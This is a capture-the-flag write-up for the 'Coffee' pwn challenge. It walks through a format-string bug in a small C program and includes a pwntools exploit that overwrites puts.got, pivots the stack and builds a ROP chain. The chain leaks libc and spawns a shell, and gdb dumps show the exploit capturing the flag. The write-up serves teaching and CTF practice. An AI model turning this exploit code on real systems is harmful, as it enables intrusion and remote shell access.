Coffee
Description
Coffee is essential for pwning.
nc 34.146.101.4 30002
Attachment: coffee.tar.gz xpl.py
Team: Super Guesser
#include <stdio.h>
int x = 0xc0ffee ;
int main ( void ) {
char buf [ 160 ];
scanf ( "%159s" , buf );
if ( x == 0xc0ffee ) {
printf ( buf );
x = 0 ;
}
puts ( "bye" );
}
This challenge has an obvious format string vulnerability in it. The only downside is, we can only use this once (since the global x
variable is zeroed out, even if we could return to main, it wouldn’t execute printf
anymore). So, let’s make it count :)
Since the binary doesn’t have PIE or Full RelRO, we can use printf
to overwrite puts.got
to something more useful.
Let’s just crash it to see, what state we’ll have, when puts
will be called
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "34.146.101.4"
PORT = 30002
PROCESS = "./coffee"
def exploit ( r ):
writes = { e . got [ "puts" ]: 0x00adbeef }
context . arch = "amd64"
payload = fmtstr_payload ( 6 , writes , write_size = "short" )
payload += cyclic_metasploit ( 100 )
r . sendline ( payload )
r . interactive ()
return
if __name__ == "__main__" :
e = ELF ( "./coffee" )
libc = ELF ( "./libc.so.6" )
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
else :
LOCAL = True
r = process ( "./coffee" , env = { "LD_PRELOAD" : "./libc.so.6" })
print ( util . proc . pidof ( r ))
pause ()
exploit ( r )
Program received signal SIGSEGV, Segmentation fault.
0x0000000000adbeef in ?? ()
──────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xbfb6
$rbx : 0x0000000000401230 → <__libc_csu_init+0> endbr64
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffec98 → 0x0000000000401206 → <main+112> mov eax, 0x0
$rbp : 0x00007fffffffed50 → 0x0000000000000000
$rsi : 0x4018616261616161
$rdi : 0x000000000040200a → 0x1b01000000657962 ("bye"?)
$rip : 0xadbeef
$r8 : 0xffffffff
$r9 : 0xbfb6
$r10 : 0x00007fffffff2280 → 0x000000000000000a
$r11 : 0x6e
$r12 : 0x00000000004010b0 → <_start+0> endbr64
$r13 : 0x00007fffffffee40 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────── stack ────
0x00007fffffffec98│+0x0000: 0x0000000000401206 → <main+112> mov eax, 0x0 ← $rsp
0x00007fffffffeca0│+0x0008: 0x2563393738383425
0x00007fffffffeca8│+0x0010: 0x31256e6c6c243031
0x00007fffffffecb0│+0x0018: 0x6824313125633039
0x00007fffffffecb8│+0x0020: 0x6162616161616e68
0x00007fffffffecc0│+0x0028: 0x0000000000404018 → 0x0000000000adbeef
[!] Cannot access memory at address 0xadbeef
────────────────────────────────────────────────────────────────────────
gef➤ x/30gx $rsp
0x7fffffffec98: 0x0000000000401206 0x2563393738383425 <= rsp
0x7fffffffeca8: 0x31256e6c6c243031 0x6824313125633039
0x7fffffffecb8: 0x6162616161616e68 0x0000000000404018
0x7fffffffecc8: 0x000000000040401a 0x6141316141306141 <= cyclic pattern
0x7fffffffecd8: 0x4134614133614132 0x3761413661413561
0x7fffffffece8: 0x6241396141386141 0x4132624131624130
0x7fffffffecf8: 0x3562413462413362 0x6241376241366241
0x7fffffffed08: 0x4130634139624138 0x3363413263413163
0x7fffffffed18: 0x6341356341346341 0x4138634137634136
0x7fffffffed28: 0x3164413064413963 0x0000000041326441
As we can see, the rest of our payload will be at rsp+0x38
, so if we could pivot the stack there, we could add a simple rop chain to our format string payload.
And __libc_csu_init
contains just a gadget, which will do exactly this
.text:0000000000401286 add rsp, 8
.text:000000000040128A pop rbx
.text:000000000040128B pop rbp
.text:000000000040128C pop r12
.text:000000000040128E pop r13
.text:0000000000401290 pop r14
.text:0000000000401292 pop r15
.text:0000000000401294 retn
This will pop some values from the stack and will then end up exactly in the cyclic pattern we attached to the format string (we should just keep in mind, that the padding might change depending on how we create the format string payload).
So, writing 0x401286
to puts.got
will result in
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401294 in __libc_csu_init ()
────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1343
$rbx : 0x3925633234373425 ("%4742c%9"?)
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fffffffecd0 → "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A[...]"
$rbp : 0x363831256e6c6c24 ("$lln%186"?)
$rsi : 0x4018
$rdi : 0x000000000040200a → 0x1b01000000657962 ("bye"?)
$rip : 0x0000000000401294 → <__libc_csu_init+100> ret
$r8 : 0xffffffff
$r9 : 0x1343
$r10 : 0x00007fffffffcef0 → 0x000000000000000a
$r11 : 0x6e
$r12 : 0x6e68682430312563 ("c%10$hhn"?)
$r13 : 0x0000000000404018 → 0x0000000000401286 → <__libc_csu_init+86> add rsp, 0x8
$r14 : 0x000000000040401a → 0x1040000000000040 ("@"?)
$r15 : 0x6141316141306141 ("Aa0Aa1Aa"?)
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40128e <__libc_csu_init+94> pop r13
0x401290 <__libc_csu_init+96> pop r14
0x401292 <__libc_csu_init+98> pop r15
→ 0x401294 <__libc_csu_init+100> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffecd0│+0x0000: "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A[...]" ← $rsp
0x00007fffffffecd8│+0x0008: "a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1[...]"
0x00007fffffffece0│+0x0010: "Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac[...]"
0x00007fffffffece8│+0x0018: "0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6A[...]"
0x00007fffffffecf0│+0x0020: "b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9[...]"
0x00007fffffffecf8│+0x0028: "Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad[...]"
─────────────────────────────────────────────────────────────────────────────────────
gef➤ x/gx $rsp
0x7fffffffecd0: 0x4134614133614132
$ pattern_find 0x4134614133614132
8
So, rsp
is now pointing at our cyclic pattern + 8. I opted for putting a ropchain there, leaking libc printf
address and then reading another ropchain via scanf
, where we can put our final ropchain.
payload = fmtstr_payload ( 6 , writes , write_size = "short" )
POPRDI = 0x401293
POPRBP = 0x40117d
POPRSI15 = 0x401291
PUTSPLT = 0x401030
RET = 0x40101a
LEAVE = 0x000000000040121f
# padding
payload += p64 ( 0xdeadbeef )
# puts(printf.got)
payload += p64 ( POPRDI )
payload += p64 ( e . got [ "printf" ])
payload += p64 ( PUTSPLT )
# scanf("%159s", 0x404880)
payload += p64 ( POPRDI )
payload += p64 ( 0x403004 )
payload += p64 ( POPRSI15 )
payload += p64 ( 0x404880 )
payload += p64 ( 0x0 )
payload += p64 ( e . plt [ "__isoc99_scanf" ])
# stack pivot to 0x404880
payload += p64 ( POPRBP )
payload += p64 ( 0x404880 - 8 )
payload += p64 ( LEAVE )
r . sendline ( payload )
# read printf
r . recvuntil ( p32 ( 0x40401800 ))
LEAK = r . recvline ()
PRINTF = u64 ( LEAK [: - 1 ]. ljust ( 8 , " \x00 " ))
libc . address = PRINTF - libc . symbols [ "printf" ]
log . info ( "PRINTF : %s" % hex ( PRINTF ))
log . info ( "LIBC : %s" % hex ( libc . address ))
[*] '/media/sf_ctf/tsg/coffee/coffee'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './coffee': pid 21393
[21393]
[*] Paused (press any to continue)
[*] PRINTF : 0x7ffff7e3be10
[*] LIBC : 0x7ffff7dd7000
[*] Switching to interactive mode
Now that we have a libc address and the challenge waiting for us to input the next ropchain, we can just put a simple system("/bin/sh")
ropchain there:
payload = p64 ( POPRDI )
payload += p64 ( next ( libc . search ( "/bin/sh" )))
payload += p64 ( libc . symbols [ "system" ])
r . sendline ( payload )
which will then be written to 0x404880
and then be executed via the stack pivot
[*] '/media/sf_ctf/tsg/coffee/coffee'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/tsg/coffee/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 34.146.101.4 on port 30002: Done
[*] PRINTF : 0x7fd8417bfe10
[*] LIBC : 0x7fd84175b000
[*] Switching to interactive mode
$ ls
coffee
flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
start.sh
$ cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083
TSGCTF{Uhouho_gori_gori_pwn}